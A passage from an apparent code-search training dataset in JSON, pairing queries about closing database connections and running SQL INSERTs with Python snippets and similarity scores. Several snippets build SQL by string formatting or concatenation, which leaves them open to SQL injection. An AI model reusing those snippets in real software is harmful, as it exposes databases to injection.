close(self):\\n\\t\\tself.db.close()\",\n \"def close_db(error):\\n if hasattr(g, 'pg_cur'):\\n g.pg_cur.close()\\n g.pg_conn.close()\",\n \"def close(self):\\n self.db.remove()\\n self.engine.dispose()\",\n \"def close_db_session(self, session):\\r\\n session.close()\",\n \"def close(self):\\n if getattr(self, \\\"_db\\\", None) is not None:\\n self._db.close()\\n self._db = None\",\n \"def close(self):\\n if getattr(self, \\\"_db\\\", None) is not None:\\n self._db.close()\\n self._db = None\",\n \"def close(self):\\n if getattr(self, \\\"_db\\\", None) is not None:\\n self._db.close()\\n self._db = None\",\n \"def close_db(error):\\n conn = g.get('sqlite_db', None)\\n if conn is not None:\\n conn.close()\",\n \"def reconnect(self):\\n self.close()\\n self._db = pymysql.connect(**self._db_args)\",\n \"def close_db(e=None):\\n db = g.pop(\\\"db\\\", None)\\n\\n if db is not None:\\n db.close()\",\n \"def close_db(e=None):\\n db = g.pop(\\\"db\\\", None)\\n\\n if db is not None:\\n db.close()\",\n \"def close_db(error):\\n if hasattr(g, \\\"sql_db\\\"):\\n g.sql_db.close()\",\n \"def close_db(e=None):\\n db = g.pop('db', None)\\n\\n if db is not None:\\n db.close()\",\n \"def close_db(e=None):\\n db = g.pop('db', None)\\n\\n if db is not None:\\n db.close()\",\n \"def close_db(e=None):\\n db = g.pop('db', None)\\n\\n if db is not None:\\n db.close()\",\n \"def close(self):\\n if getattr(self, \\\"_db\\\", None):\\n self._db.close()\\n self._db = None\",\n \"async def close(self):\\n print('Close {}'.format(str(self.__hash__)))\\n await self.db.close()\",\n \"def closedb(e=None):\\n db = g.pop('db', None)\\n\\n if db is not None:\\n db.close()\",\n \"def close(self):\\n self.clean()\\n\\n for conn in self.conn__.values():\\n try:\\n conn.commit()\\n conn.close()\\n except sqlite3.ProgrammingError:\\n pass\",\n \"def close(self):\\n self.connection.commit()\\n self.cursor.close()\\n self.connected = False\",\n \"def close_db(e=None) -> None:\\r\\n db = g.pop('db', None)\\r\\n if db is not None:\\r\\n db.close()\",\n \"def close_db_connections():\\n for db in db_connections.values():\\n db.close()\",\n \"def disconnect(self, verbose=True): \\n self. cursor.close()\\n self.cnx.close()\\n \\n self.connected = False\\n \\n if verbose: print(\\\"Disconnected from database.\\\")\",\n \"def DisconnectDB(self) :\\r\\n\\t\\ttry :\\r\\n\\t\\t\\tif self.DB_Connect is not None :\\r\\n\\t\\t\\t\\tself.DB_Cursor = None\\r\\n\\t\\t\\t\\tself.DB_Connect.close()\\r\\n\\t\\t\\t\\tlogging.info(\\\"Disconnected the database: %s\\\"%self.DBpath)\\r\\n\\t\\t\\t\\tself.DB_Connect = None\\r\\n\\t\\t\\telse :\\r\\n\\t\\t\\t\\tlogging.info(\\\"No database to disconnect.\\\")\\r\\n\\t\\t\\tself.DBlock.release()\\r\\n\\t\\texcept Exception as detail :\\r\\n\\t\\t\\tlogging.error(\\\"Failed to disconnect the database: %s\\\"%detail)\\r\\n\\t\\treturn\",\n \"def shutdown_db():\\n print('Exit.')\\n global conn\\n conn.close()\",\n \"def disconnect(self):\\n self._save_database()\\n self.dbh.close()\\n self._remove_temporary_file()\",\n \"def close_connection(name):\\n if QtSql.QSqlDatabase.database(name).open():\\n QtSql.QSqlDatabase.database(name).close()\\n QtSql.QSqlDatabase.removeDatabase(name)\\n print(\\\"Connection closed. New connection required\\\")\",\n \"def database_disconnect(connector, cursor):\\n try:\\n cursor.close()\\n connector.close()\\n except Exception as e:\\n raise Exception(\\\"An error occurred while closing the database : %s\\\" % e)\",\n \"def close_database(self) -> None:\\n self.api = None\\n self.base = None\\n self.table = None\",\n \"def close(self):\\n self.db.commit()\\n self.db.close()\",\n \"def close_connection(self):\\n self.cursor.close()\\n self.connection.close()\",\n \"def close(self):\\n self.cursor.close()\\n self.db.close()\",\n \"def _close_database(self):\\n assert self._conn is not None\\n logging.info(\\\"Closing file {!r}.\\\".format(self._filename))\\n self._cursor.close()\\n self._cursor = None\\n self._conn.close()\\n self._conn = None\\n self._filename = None\\n self._sessionUID = None\",\n \"def close(self):\\n# self.cursor.close()\\n\\tself.db.close()\",\n \"async def disconnect(self):\\n self.logger.info(f'disconnecting from {self.dsn}')\\n await self.dbase.disconnect()\",\n \"def close(self):\\n if getattr(self, \\\"_db\\\", None) is not None:\\n if not self._db_args['autocommit']:\\n self._db.commit()\\n self._db.close()\\n self._db = None\",\n \"def close_database(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_database(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_database(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_db(error):\\n if hasattr(g, 'pg_db'):\\n g.pg_db.close()\",\n \"def close_db(error):\\n if hasattr(g, 'mysql_db'):\\n g.mysql_db.close()\",\n \"def __del__(self):\\n self.db_conn.close()\",\n \"def __del__(self):\\n self.db_conn.close()\",\n \"def close_db(error):\\n if hasattr(flask.g, 'client'):\\n flask.g.client.close()\",\n \"def close():\\n conn.commit()\\n return conn.close()\",\n \"def close_db(error):\\n if hasattr(g, 'postgres_db'):\\n g.postgres_db.close()\",\n \"async def close_db(app):\\r\\n LOG.info('Closing database connection pool.')\\r\\n await app['pool'].close()\",\n \"def exit(self):\\n self.__mongo_db.close_connection()\\n self.__postgre_db.close_connection()\",\n \"def teardown_db(exception):\\n db = getattr(g, '_database', None)\\n if db is not None:\\n db.close()\",\n \"def close_db(error):\\n if hasattr(g, 'postgresdb'):\\n g.postgresdb.close()\",\n \"def close_db(self, exception):\\n if self.is_connected:\\n connection_will_close.send()\\n if exception is None and not transaction.isDoomed():\\n transaction.commit()\\n else:\\n transaction.abort()\\n _app_ctx_stack.top.zodb_transfers = self.connection.getTransferCounts(\\n clear=True\\n )\\n self.connection.close()\\n connection_closed.send()\",\n \"def close(self):\\n if self.authenticated:\\n self.db.logout()\\n if self.connection is not None:\\n self.connection.close()\",\n \"def reconnect(self):\\n self.close()\\n self._db = pymysql.connect(**self._db_args)\\n self._db.autocommit(True)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7725617","0.767785","0.76573586","0.7654208","0.75856876","0.7571304","0.7563883","0.7534314","0.75241053","0.7508918","0.74842125","0.74418056","0.7412428","0.73263425","0.73207086","0.7296465","0.7273986","0.72537464","0.7222091","0.71770734","0.71610194","0.7156733","0.71548206","0.7114119","0.7113972","0.7067714","0.7059881","0.70320433","0.70286435","0.7015259","0.70075184","0.69984764","0.69916093","0.69886214","0.6984355","0.6983464","0.6976246","0.6976246","0.69571006","0.69415927","0.6916666","0.69087476","0.6908375","0.6908224","0.69054466","0.6886331","0.6871245","0.68639475","0.68508035","0.68506885","0.68228525","0.68196857","0.68102145","0.68102145","0.68102145","0.68064654","0.68021196","0.6796106","0.6796106","0.67936856","0.6782935","0.6782935","0.6782935","0.6779841","0.6743393","0.67380536","0.67260337","0.6717357","0.67044556","0.6694707","0.6676799","0.66751504","0.66665864","0.6664475","0.66636884","0.66616166","0.66566914","0.66349703","0.66321564","0.66290617","0.66247886","0.662274","0.6616282","0.6597319","0.659065","0.659065","0.659065","0.65890455","0.65879005","0.65808094","0.65808094","0.6579632","0.6578589","0.6574001","0.65654665","0.656039","0.65432715","0.65305984","0.65145135","0.6490513","0.6487742"],"string":"[\n \"0.7725617\",\n \"0.767785\",\n \"0.76573586\",\n \"0.7654208\",\n \"0.75856876\",\n \"0.7571304\",\n \"0.7563883\",\n \"0.7534314\",\n \"0.75241053\",\n \"0.7508918\",\n \"0.74842125\",\n \"0.74418056\",\n \"0.7412428\",\n \"0.73263425\",\n \"0.73207086\",\n \"0.7296465\",\n \"0.7273986\",\n \"0.72537464\",\n \"0.7222091\",\n \"0.71770734\",\n \"0.71610194\",\n \"0.7156733\",\n \"0.71548206\",\n \"0.7114119\",\n \"0.7113972\",\n \"0.7067714\",\n \"0.7059881\",\n \"0.70320433\",\n \"0.70286435\",\n \"0.7015259\",\n \"0.70075184\",\n \"0.69984764\",\n \"0.69916093\",\n \"0.69886214\",\n \"0.6984355\",\n \"0.6983464\",\n \"0.6976246\",\n \"0.6976246\",\n \"0.69571006\",\n \"0.69415927\",\n \"0.6916666\",\n \"0.69087476\",\n \"0.6908375\",\n \"0.6908224\",\n \"0.69054466\",\n \"0.6886331\",\n \"0.6871245\",\n \"0.68639475\",\n \"0.68508035\",\n \"0.68506885\",\n \"0.68228525\",\n \"0.68196857\",\n \"0.68102145\",\n \"0.68102145\",\n \"0.68102145\",\n \"0.68064654\",\n \"0.68021196\",\n \"0.6796106\",\n \"0.6796106\",\n \"0.67936856\",\n \"0.6782935\",\n \"0.6782935\",\n \"0.6782935\",\n \"0.6779841\",\n \"0.6743393\",\n \"0.67380536\",\n \"0.67260337\",\n \"0.6717357\",\n \"0.67044556\",\n \"0.6694707\",\n \"0.6676799\",\n \"0.66751504\",\n \"0.66665864\",\n \"0.6664475\",\n \"0.66636884\",\n \"0.66616166\",\n \"0.66566914\",\n \"0.66349703\",\n \"0.66321564\",\n \"0.66290617\",\n \"0.66247886\",\n \"0.662274\",\n \"0.6616282\",\n \"0.6597319\",\n \"0.659065\",\n \"0.659065\",\n \"0.659065\",\n \"0.65890455\",\n \"0.65879005\",\n \"0.65808094\",\n \"0.65808094\",\n \"0.6579632\",\n \"0.6578589\",\n \"0.6574001\",\n \"0.65654665\",\n \"0.656039\",\n \"0.65432715\",\n \"0.65305984\",\n \"0.65145135\",\n \"0.6490513\",\n \"0.6487742\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":15380,"cells":{"query":{"kind":"string","value":"Execute a SQL INSERT INTO queries"},"document":{"kind":"string","value":"def insert_into(cursor, table, columns, values):\r\n columns_str = columns[0]\r\n values_str = \"%s\"\r\n for col in columns[1:]:\r\n columns_str += \", \" + col\r\n values_str += \", %s\"\r\n query = \"INSERT INTO {} ({}) VALUES ({})\".format(table, columns_str, values_str)\r\n cursor.execute(query, values)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def insert_into_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()","def _query_insert(self, sql, data=None):\n\n conn = psycopg2.connect(self.connect_args)\n cur = conn.cursor()\n cur.execute(sql, data)\n conn.commit()\n cur.close()\n conn.close()","def insert_tables(cur, conn):\n for query in insert_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n except Exception as e:\n print(e)","def insert_into_table(self, conn, insert_into_table_sql):\n try:\n c = conn.cursor()\n c.execute(insert_into_table_sql)\n conn.commit()\n\n except Error as e:\n print(e)","def insert_tables(cur, conn):\n for query in insert_table_queries:\n print('insert', query)\n cur.execute(query)\n conn.commit()","def insert_tables(cur, conn):\n for query in insert_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n \n except psycopg2.Error as e:\n print(e)","def insert_sql(command):\n logging.debug(\"Running insert sql \"+str(command))\n try:\n## host, userid, password, database instance\n con = mdb.connect(serverip, username, userpass, schema);\n cursor = con.cursor()\n \n sql = command\n cursor.execute(sql)\n sql = \" commit;\"\n cursor.execute(sql)\n \n con.close()\n\n except mdb.Error, e:\n logger.error(e)","def insert_tables(cur, conn):\n start = time.time()\n print(\"***************** Loading data into Analytics tables ***********************\")\n for query in insert_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n except psycopg2.Error as e:\n print(f\"Can't execute query : {query}\")\n print(e)\n print(\"***************** Done ***********************\")\n print(f\"***************** Script ran in {int(time.time() - start)} seconds ***********************\")","def insert_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()","def insert_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()","def insert_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()","def insert_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()","def insert(self, sql):\n try:\n # Execute the SQL command\n self.cursor.execute(sql)\n # Commit your changes in the database\n self.db.commit()\n except:\n # Rollback in case there is any error\n self.db.rollback()","def insert_tables(cur, conn):\n for idx, query in enumerate(insert_table_queries):\n print('Executing INSERT query {}/{}...'.format(idx+1, len(insert_table_queries)), end='', flush=True)\n t0 = time()\n cur.execute(query)\n conn.commit()\n load_time = time() - t0\n print('done! Took: {0:.2f} sec'.format(load_time))","def insert(self,table,values):\n self.connect.execute(self.insert_disc[table],values)\n self.connect.commit()","def insert_to_db(self, query):\n try:\n q = self.connection.execute(query)\n except Exception:\n self.print_std_error()","def insert_records(self, insert_query, insert_query_columns, wiki_data, table_name):\n print(\"Inserting {} rows into {}\".format(len(wiki_data), table_name))\n for index, item in enumerate(wiki_data):\n values_to_insert = [item[column]['value'] for column in insert_query_columns]\n try:\n self.cur.execute(insert_query, values_to_insert)\n except ValueError as ve:\n print(\"Could not execute query : {} with values\".format(insert_query, values_to_insert))\n raise ve\n\n if index % 1000 == 0:\n print(\"Inserted {} rows\".format(index))\n print(\"Inserted {} rows\".format(len(wiki_data)))\n print(\"Finished inserting {}\".format(table_name))","def insert_execute(self, insert_data):\n self.execute(query=self.db_insert_schema.format(self.table_name), data=insert_data)","def insert_tables(cur, conn):\n logger.debug(\"Insert tables ...\")\n for query in insert_table_queries:\n logger.debug(f'RUN query: {query}')\n cur.execute(query)\n conn.commit()\n\n print('All files INSERTED OK.')","def insert_many_execute(self) -> None:\n self.connection.isolation_level = None\n self.cursor.execute('BEGIN TRANSACTION')\n for i in self.__sql_buffer.split(';'):\n self.cursor.execute(i)\n self.__sql_buffer = \"\"\n self.cursor.execute('COMMIT')","def executeQuery(self, segments=None,):\n if not segments: segments = self.segments\n query =''.join(['INSERT INTO ', self.tableName, ' (',\n ', '.join(self.firstLine), ') VALUES ',\n ', '.join([segment for segment in segments]), ';'])\n try:\n self.cursorExecute(query)\n except:\n print 'Bulk query rejected, splitting into smaller queries.'\n self.handleSQLRejection(0, len(self.segments))","def post_sql_data(query, *args):\n\n sql = query\n values = (args)\n\n try:\n assert sql.count('%s') == len(args)\n conn = connect()\n cursor = conn.cursor()\n cursor.execute(sql, values)\n conn.commit()\n cursor.close()\n conn.close()\n print(\"SUCCESS: post_sql_data\")\n\n except AssertionError:\n print(\"ERROR: post_sql_data(), wrong number of arguments\")","def insert(conn, table_info, table_data):\n\n sql = ''' INSERT INTO ''' + table_info \n + ''' VALUES(''' + \"?,\" * (len(table_data)-1) + \"?)\"\n cursor = conn.cursor()\n cursor.execute(sql, table_data)\n conn.commit()","def execute_insert(self,insert):\n try:\n self.cursor.execute(insert)\n self.connection.commit()\n except Exception as error:\n self.connection.rollback()\n raise error","def send_insert(self, query):\n # TODO: Add exception handling from bad queries\n\n # More regex to make sure our table names don't have colons\n insert_pattern = r\"INSERT INTO ([\\w_:]+)\"\n match = re.search(insert_pattern, query, re.IGNORECASE)\n table_name = match.group(1)\n if \":\" in table_name:\n query = self.clean_table_name(query, table_name)\n self.send_sql_query(query)","def query(self, *sql):\n self.cursor.execute(*sql)\n self.conn.commit()","def test_insert(self):\n query = \"insert into cds values(%s,%s,%s,%s)\"\n values = (109876,\"cinderella\",\"big 5\",5)\n self.a.insert(query,values)\n query1 = \"select * from cds where id=109876\"","def insert_(statement: str, db_conf) -> []:\n try:\n result = db_conf.execute(statement)\n if result:\n return result\n except psycopg2.IntegrityError:\n pass\n return []","def transactionInsert(self, t_name, fields, field_values): \n query = 'INSERT INTO {0} ({1}) VALUES ({2});'\n field_list_string = ','.join(fields)\n query_parameters = ','.join(['?'] * len(fields))\n query = query.format(t_name, field_list_string, query_parameters)\n try:\n self.cursor.execute(query, tuple(field_values))\n except Exception as e:\n print(\"Error inserting with query '{}'\".format(query))\n print(\"\\tWith columns {}\".format(fields))\n print(\"\\tWith values {}\".format(field_values))\n print(\"\\tRollback will occur.\")\n self.connection.rollback()","def _insert_sql(self, table, insert_values):\n if isinstance(insert_values, dict):\n keys = []\n values = []\n for k, v in insert_values.items():\n keys.append(k)\n if v is None:\n values.append('')\n elif isinstance(v, str):\n v = \"'\" + str(v).replace(\"'\", \"''\") + \"'\"\n values.append(v)\n elif isinstance(v, datetime.datetime):\n v = \"'\" + str(v) + \"'\"\n values.append(v)\n else:\n values.append(str(v))\n keys = \",\".join(keys)\n values = \",\".join(values)\n sql = \"INSERT INTO %s (%s) VALUES (%s)\" % (table, keys, values)\n return sql\n elif isinstance(insert_values, (tuple, list)):\n values = []\n for v in insert_values:\n if v is None:\n values.append('')\n elif isinstance(v, str):\n v = \"'\" + str(v).replace(\"'\", \"''\") + \"'\"\n values.append(v)\n elif isinstance(v, datetime.datetime):\n v = \"'\" + str(v) + \"'\"\n values.append(v)\n else:\n values.append(str(v))\n values = \",\".join(values)\n sql = \"INSERT INTO %s VALUES (%s)\" % (table, values)\n return sql\n else:\n raise TypeError( # pragma: no cover\n \"unexpected type: \" + str(type(insert_values)))","def execute(self, sql, *args, **kwgs):\n curr = self.conn.cursor()\n curr.execute(sql, *args, **kwgs)\n self.conn.commit()\n curr.close()","def load_data(connection, insert_sql, data):\n cur = connection.cursor()\n for d in data:\n cur.execute(insert_sql, d)\n connection.commit()","def sql_query(sql):\n cur = c.cursor()\n cur.execute(sql)\n c.commit()","def insert(self, fields, values):\n sql = self.generate_insert_sql(fields, values)\n self.sqlhistory.append(sql)\n return self.sql_insert(sql)","def input_values(curs, table_name, inputs):\n curs.executemany(\"\"\"INSERT INTO {} (s, x, y)\n VALUES (?, ?, ?);\"\"\".format(table_name), inputs)","def _bulk_add_rows(self, converted) :\n\n insert_sql = 'INSERT INTO \"%s\" VALUES (%s)' % (self.name, ','.join(['?'] * len(self.cols)))\n cur = self.con.cursor()\n cur.executemany(insert_sql, converted)","def insert_db(query, args=()):\n db = get_db()\n db.execute(query, args)\n db.commit()","def insert_data(settings_filename, query_filename, row_list):\n conn = connect_to_db(settings_filename)\n cursor = conn.cursor()\n\n query = load_query(query_filename)\n cursor.execute(query,row_list)\n conn.commit()\n \n cursor.close()\n conn.close()\n\n return True","def insert_into_postgres(schema, table, column_list_string, values):\n conn = logic_db_connection()\n try:\n cur = conn.cursor()\n insert_dml = \"\"\"INSERT INTO {0}.{1}\n ({2})\n VALUES ({3}) \n ;\"\"\".format(schema, table, column_list_string, values)\n cur.execute(insert_dml)\n conn.commit()\n except Exception as e:\n #if type(e) is not type(psycopg2.IntegrityError()): # doesn't work need to use pg error code catching\n # print(f'Unable to insert into Postgres table {table}. DML: {insert_dml} Error: {e}')\n raise\n finally:\n conn.close()\n return","def insert_records(cursor,table_schema,table_name,column_names,records, checkCols = True):\n # Check if each column exists and add missing ones\n if checkCols:\n for cn in column_names:\n add_column_to_staging_table(cursor, table_schema, table_name, cn)\n\n insert_base = \"INSERT INTO \" + table_schema + \".\" + table_name + \" (\" + \",\".join(column_names) + \") VALUES \"\n insert_values = []\n for record in records:\n insert_value = \"('\" + \"','\".join(str(x).replace(\"'\",\"''\") for x in record) + \"')\" \n insert_values.append(insert_value)\n insert_record = insert_base + \",\".join(insert_values) + \";\"\n if records != []:\n cursor.execute(insert_record.replace(\",TO,\",\",TOV,\"))\n print(\"Inserted \" + str(len(records)) + \" records into \" + table_schema + \".\" + table_name)","def insertData(self, sql: str, values: tuple) -> None:\n try:\n connection = self.connect()\n cursor = connection.cursor() \n data = cursor.execute(sql, values) \n connection.commit() \n except sqlite3.Error as e:\n logging.error(f'{__class__.__name__ } Exception: {e}')\n logging.error(f'{self.cn} usedSQL {sql}')\n logging.error(f'{self.cn} insertedValues - {values}')\n cursor.close()\n finally:\n cursor.close()\n if connection:\n connection.close()","def insertmany(self, table, values):\n col_name = self.table_cols[table][1:]\n sql = 'INSERT INTO %s(%s) VALUES (%s)' % (table, ','.join(col_name), ','.join(['%s'] * len(values[0])))\n Log.debug('DB -> %s' % sql)\n self.execute(sql, values)","def execute_sql(conn, sql):\n try:\n c = conn.cursor()\n if __debug__:\n print(\"Executing SQL: %s\" % sql)\n c.execute(sql)\n except Error as e:\n print(e)\n conn.commit()","def insert_values(self, table, cols, vals):\n conn = psycopg2.connect(self.name, sslmode='require')\n c = conn.cursor()\n c.execute(\"INSERT INTO {0} ({1}) VALUES ({2})\".format(table,','.join(str(i) for i in cols), ','.join(\"'\"+str(i)+\"'\" for i in vals)))\n conn.commit() \n conn.close","def insert_db():\n populate_tables()","def sql_insert(self, sqlstr):\n get_connection().insert_raw(sqlstr)\n return 1","def insert_data(stored_data, table_name):\r\n for item in stored_data:\r\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)","def load_into_staging_tables(cur, conn):\n for query in copy_table_queries:\n cur.execute(query)\n conn.commit()","def test_sql_insertion(self):\n try:\n # generate record as from kafka server\n record_str = generate_json_message()\n # create corresponding sql\n consumer = Consumer()\n sql_str = consumer.create_sql_command(record_str)\n # print SQL\n print(sql_str)\n # execute in db\n result = consumer.execute_sql(sql_str)\n # print all from table\n result = consumer.get_table_content()\n for res in result:\n print(res)\n # XXX a better test would be to fetch the\n # last element and compare with the generated one\n\n except (Exception, ValueError) as error:\n logging.error(error)\n assert(False)","def insert(self, table, insert_values, cursor=None, nolog=True):\n if isinstance(insert_values, list):\n # we expect several insertion\n if self._engine != \"SQLite\":\n for d in insert_values:\n self.insert(table, d, cursor)\n else:\n if isinstance(insert_values[0], dict):\n ins = {}\n for k in insert_values[0]:\n ins[k] = \":\" + k\n sql = self._insert_sql(table, ins)\n else:\n q = tuple('?' for _ in insert_values[0])\n sql = self._insert_sql(table, q).replace(\"'\", \"\")\n\n sql = sql.replace(\"'\", \"\")\n try:\n if not nolog: # pragma: no cover\n if len(sql) > 1000:\n self.LOG(\"SQLs\", sql[:1000])\n else:\n self.LOG(\"SQLs\", sql)\n self._connection.executemany(sql, insert_values)\n return \"\"\n except Exception as e:\n raise ExceptionSQL( # pylint: disable=W0707\n \"Unable to execute a SQL request (3) (cursor %r) (file %r)\" %\n (str(cursor), self.get_file()), e, sql)\n\n elif isinstance(insert_values, dict):\n sql = self._insert_sql(table, insert_values)\n\n try:\n if not nolog: # pragma: no cover\n if len(sql) > 1000:\n self.LOG(\"SQLs\", sql[:1000])\n else:\n self.LOG(\"SQLs\", sql)\n if cursor is not None:\n cursor.execute(sql)\n else:\n if self._buffer_insert_s > 0:\n self._buffer_insert.append(sql)\n\n if len(self._buffer_insert) >= self._buffer_insert_s:\n for s in self._buffer_insert:\n self._connection.execute(s)\n del self._buffer_insert[:]\n else:\n self._connection.execute(sql)\n\n return sql\n except Exception as e:\n raise ExceptionSQL( # pylint: disable=W0707\n \"unable to execute a SQL request (2) (cursor %r) (file %r)\" %\n (str(cursor), self.get_file()), e, sql)\n\n else:\n raise DBException( # pragma: no cover\n \"insert: expected type (list of dict or dict) instead of %s\" %\n (str(\n type(insert_values))))","def insert(self, tablename, columns, values):\n\n length = len(columns)\n if length != 0:\n placeholder = ['?'] * length\n query = \"Insert into \" + tablename + \" (\" + ','.join(columns) + \") Values (\" + ','.join(\n placeholder) + \")\"\n else:\n l = len(values)\n placeholder = ['?'] * l\n query = \"Insert into \" + tablename + \" Values (\" + ','.join(placeholder) + \")\"\n try:\n self.__cur.execute(query, values)\n self.__conn.commit()\n except Exception as e:\n self.__conn.rollback()\n raise e","def insert(self, query):\n try:\n self.cursor.execute(query)\n self.connection.commit()\n\n except MySQLdb.Error as e:\n self.connection.rollback()\n try:\n print(\"MySQL Error {}: {}\".format(e.args[0], e.args[1]))\n except IndexError:\n print(\"MySQL Error: {}\".format(str(e)))","def generate_insert_sql(self, fields, values):\n return \"INSERT INTO %s (%s) VALUES(%s)\" % (self.tablename, fields,\n ','.join([sql_quote(x) for x in values]))","def db_insertmany(table: str, columns: list, values: list):\n\n db, c = start_db()\n\n cols = ', '.join(columns)\n vals = ', '.join(['?' for _ in values[0]])\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\n\n c.executemany(query, values)\n db.commit()\n db.close()","def load_staging_tables(cur, conn):\n for query in copy_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n except Exception as e:\n print(e)","def insert_into_db(self, database):\n\n # insert person\n keys = \"\"\n values = \"\"\n for key, value in self.person.items():\n # location\n if key == \"location\":\n # ensure location is in table\n database.select(f\"\"\"DO $do$ BEGIN IF NOT EXISTS (SELECT * FROM p21_cdm.location WHERE city='{value['city']}' \n AND zip='{value['zip']}') THEN INSERT INTO p21_cdm.location (city, zip) \n VALUES ('{value['city']}', '{value['zip']}'); END IF; END; $do$\"\"\")\n continue\n\n keys += f\"{key},\"\n values += f\"'{value}',\"\n\n database.select(f\"\"\"INSERT INTO p21_cdm.person (location_id, {keys[:-1]}) \n VALUES((SELECT location_id \n FROM p21_cdm.location\n WHERE city='{self.person['location']['city']}' \n and zip='{self.person['location']['zip']}'), \n {values[:-1]})\"\"\")\n\n # insert visits\n for visit in self.visits:\n keys = \"person_id,\"\n values = f\"'{self.person['person_id']}',\"\n for key, value in visit.items():\n if key == \"care_site_name\":\n # ensure care site is in table\n database.select(f\"\"\"DO $do$ BEGIN IF NOT EXISTS (SELECT * \n FROM p21_cdm.care_site \n WHERE care_site_name='{value}') \n THEN INSERT INTO p21_cdm.care_site (care_site_name) \n VALUES ('{value}'); END IF; END; $do$\"\"\")\n continue\n\n keys += f\"{key},\"\n values += f\"'{value}',\"\n\n database.select(f\"\"\"INSERT INTO p21_cdm.visit_occurrence (care_site_id, {keys[:-1]}) \n VALUES((SELECT care_site_id\n FROM p21_cdm.care_site\n WHERE care_site_name='{visit['care_site_name']}'),\n {values[:-1]}) \n RETURNING visit_occurrence_id\"\"\")\n\n # insert measurements, observations, conditions & procedures\n for data, tablename in [(self.measurements, \"measurement\"),\n (self.observations, \"observation\"),\n (self.conditions, \"condition_occurrence\"),\n (self.procedures, \"procedure_occurrence\")]:\n for entry in data:\n keys = \"person_id,\"\n values = f\"'{self.person['person_id']}',\"\n\n for key, value in entry.items():\n keys += f\"{key},\"\n values += f\"'{value}',\"\n\n entry[\"sql_id\"] = database.select(f\"\"\"INSERT INTO p21_cdm.{tablename}({keys[:-1]})\n VALUES({values[:-1]}) RETURNING {tablename}_id\"\"\")[0][0]\n\n # insert fact_relationships in both directions\n for table1, entry1, table2, entry2 in self.fact_relations:\n # 44818890 = Finding associated with (SNOMED)\n database.select(f\"\"\"INSERT INTO p21_cdm.fact_relationship(domain_concept_id_1, fact_id_1, \n domain_concept_id_2, fact_id_2, \n relationship_concept_id)\n VALUES('{table1}','{entry1['sql_id']}','{table2}','{entry2['sql_id']}','44818890')\"\"\")\n # 44818792 = Associated with finding (SNOMED)\n database.select(f\"\"\"INSERT INTO p21_cdm.fact_relationship(domain_concept_id_1, fact_id_1, \n domain_concept_id_2, fact_id_2, \n relationship_concept_id)\n VALUES('{table2}','{entry2['sql_id']}','{table1}','{entry1['sql_id']}','44818792')\"\"\")\n\n # make transactions persistent\n database.commit()","def makeInserts(self, tbl, columns, rows):\n\n lines = []\n lines.append(\"INSERT ALL\")\n\n stmt = ' INTO \"{}\" ({})'.format(\n tbl,\n \", \".join(['\"'+name+'\"' for name, *_ in columns])\n )\n\n fmt = ' VALUES ({})'.format(\n \", \".join([\"{}\" if t in ('NUMBER') else \"'{}'\" \n for n, t, *_ in columns])\n )\n\n print(stmt)\n print(fmt)\n\n for row in rows:\n lines.append(stmt)\n lines.append(fmt.format(*row))\n \n\n lines.append(\"SELECT * FROM DUAL\")\n\n return \"\\n\".join(lines)","def makeInserts(self, tbl, columns, rows):\n\n lines = []\n lines.append(\"INSERT ALL\")\n\n stmt = ' INTO \"{}\" ({})'.format(\n tbl,\n \", \".join(['\"'+name+'\"' for name, *_ in columns])\n )\n\n fmt = ' VALUES ({})'.format(\n \", \".join([\"{}\" if t in ('NUMBER') else \"'{}'\" \n for n, t, *_ in columns])\n )\n\n print(stmt)\n print(fmt)\n\n for row in rows:\n lines.append(stmt)\n lines.append(fmt.format(*row))\n \n\n lines.append(\"SELECT * FROM DUAL\")\n\n return \"\\n\".join(lines)","def insert_into_table(table_name, column_names, column_values):\n sql = \"INSERT INTO user_data(%s) VALUES(%s);\"\n # execute_sql(sql, (column_names, column_values))\n # FIXME: issues with array of strings input","def send_sql_query(self, query):\n # TODO: MAKE SQL SELECT and SQL INSERT modules\n self.cursor.execute(query)\n self.cnx.commit()","def write_to_database(info,timer):\n\n inserts = create_sql_write(info,timer)\n\n connection = engine.connect()\n for insert in inserts:\n connection.execute(insert)\n connection.close()","def add_payment(keys,values,con,cur):\n \n psql=f\"\"\" insert into payments ({keys}) values {values};\"\"\"\n print('psql')\n print(psql)\n print(psql)\n cur.execute(psql)\n con.commit()","def multiple_insert(self, tablename, values, seqname=None, _test=False): \n if not values:\n return []\n \n if not self.supports_multiple_insert:\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\n if seqname is False:\n return None\n else:\n return out\n \n keys = values[0].keys()\n #@@ make sure all keys are valid\n\n for v in values:\n if v.keys() != keys:\n raise ValueError, 'Not all rows have the same keys'\n\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\n\n for i, row in enumerate(values):\n if i != 0:\n sql_query.append(\", \")\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\", \", target=sql_query, prefix=\"(\", suffix=\")\")\n \n if _test: return sql_query\n\n db_cursor = self._db_cursor()\n if seqname is not False: \n sql_query = self._process_insert_query(sql_query, 